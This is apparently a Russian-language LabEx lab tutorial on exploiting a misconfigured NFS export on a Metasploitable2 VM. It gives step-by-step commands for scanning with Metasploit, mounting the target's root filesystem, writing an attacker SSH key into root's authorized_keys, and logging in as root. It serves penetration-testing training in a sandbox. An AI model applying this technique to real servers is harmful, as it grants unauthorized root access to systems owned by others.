Эксплуатация неправильной конфигурации NFS для получения Root-доступа с помощью Nmap

NmapBeginner
Практиковаться сейчас

Введение

Сетевой файловый систем (Network File System, NFS) - это протокол распределенной файловой системы, который позволяет пользователям доступаться к удаленным файлам так, как если бы они были локальными. Однако неправильная настройка NFS может привести к серьезным уязвимостям безопасности, позволяя злоумышленникам получить несанкционированный доступ к системе. В этом лабораторном занятии вы научитесь эксплуатировать неправильную настройку NFS для получения прав root на целевой машине.

Цель этого лабораторного занятия - понять риски, связанные с неправильной настройкой NFS, и научиться успешно проводить атаки на основе NFS. К концу лабораторной работы вы получите практический опыт в обнаружении общих ресурсов NFS, их локальном монтировании и использовании неправильной настройки для получения привилегий root на целевой системе.

Сканирование NFS-шаров

На этом этапе вы будете использовать Metasploit Framework для сканирования целевой машины на наличие общих ресурсов NFS.

Теперь вы запустите машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для проведения эксперимента.

  1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей пинги:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:
docker run -ti --network host --privileged b5b709a49cd5 bash

В команде есть дополнительный параметр --privileged, который используется для того, чтобы пользователь root внутри контейнера имел реальные привилегии root. В противном случае пользователь root внутри контейнера - это просто обычный пользователь с внешними привилегиями. Запуск контейнера с параметром --privileged позволяет видеть многие устройства на хосте и выполнять операцию mount, а также позволяет запускать контейнеры Docker внутри контейнеров Docker.

  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

Теперь как машина-атакующая, так и целевая машина запущены, и вы можете приступить к пентестингу.

  1. Теперь запустите консоль Metasploit:
cd ~
msfconsole
  1. В консоли Metasploit используйте модуль auxiliary/scanner/nfs/nfsmount для сканирования на наличие общих ресурсов NFS:
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit

Этот модуль выполнит сканирование целевой системы и отобразит все экспортированные общие ресурсы NFS.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Монтирование NFS-шара

На этом этапе вы будете монтировать общий корневой ресурс NFS в контейнере Kali.

Сначала установите пакет nfs-common:

cd /
apt-get install -y nfs-common

Монтируйте общий корневой ресурс NFS:

mount -t nfs -o nolock 192.168.122.102:/ /mnt

Эта команда монтирует корневой каталог (/) целевой системы в каталог /mnt контейнера Kali.

Проверьте, правильно ли смонтирован общий ресурс NFS, выведя содержимое каталога /mnt:

ls /mnt

Вы должны увидеть содержимое корневого каталога целевой системы.

Создание пары SSH-ключей

На этом этапе вы создадите пару SSH-ключей, чтобы обеспечить доступ к целевой системе по SSH без ввода пароля.

Сгенерируйте пару SSH-ключей:

ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa

Эта команда создаст два файла: /root/.ssh/id_rsa (частный ключ) и /root/.ssh/id_rsa.pub (публичный ключ).

Включение доступа по SSH без пароля

На этом этапе вы добавите публичный ключ в файл разрешенных ключей целевой системы, чтобы обеспечить доступ по SSH без ввода пароля.

Скопируйте публичный ключ в файл разрешенных ключей целевой системы:

cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys

Эта команда добавит содержимое файла с публичным ключом в файл /root/.ssh/authorized_keys на целевой системе.

Получение root-доступа

На этом этапе вы будете использовать доступ по SSH без пароля для входа на целевую систему под пользователем root.

Подключитесь к целевой системе с помощью SSH:

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss root@192.168.122.102

Теперь у вас должен быть доступ к оболочке с правами root на целевой системе без запроса пароля.

Резюме

В этом лабораторном занятии вы узнали, как использовать неправильную конфигурацию NFS для получения несанкционированного доступа с правами root на целевую систему. Вы начали с поиска общих ресурсов NFS с использованием Metasploit Framework, а затем смонтировали общий корневой ресурс NFS на своей локальной машине. Затем вы создали пару SSH-ключей и добавили публичный ключ в файл разрешенных ключей целевой системы, чтобы обеспечить доступ по SSH без ввода пароля. Наконец, вы использовали доступ по SSH без пароля для входа на целевую систему под пользователем root.

В этом лабораторном занятии продемонстрирована важность правильной настройки общих ресурсов NFS и потенциальные риски, связанные с неправильной конфигурацией. Понимая эти уязвимости, вы сможете лучше защитить свои системы и противостоять потенциальным атакам.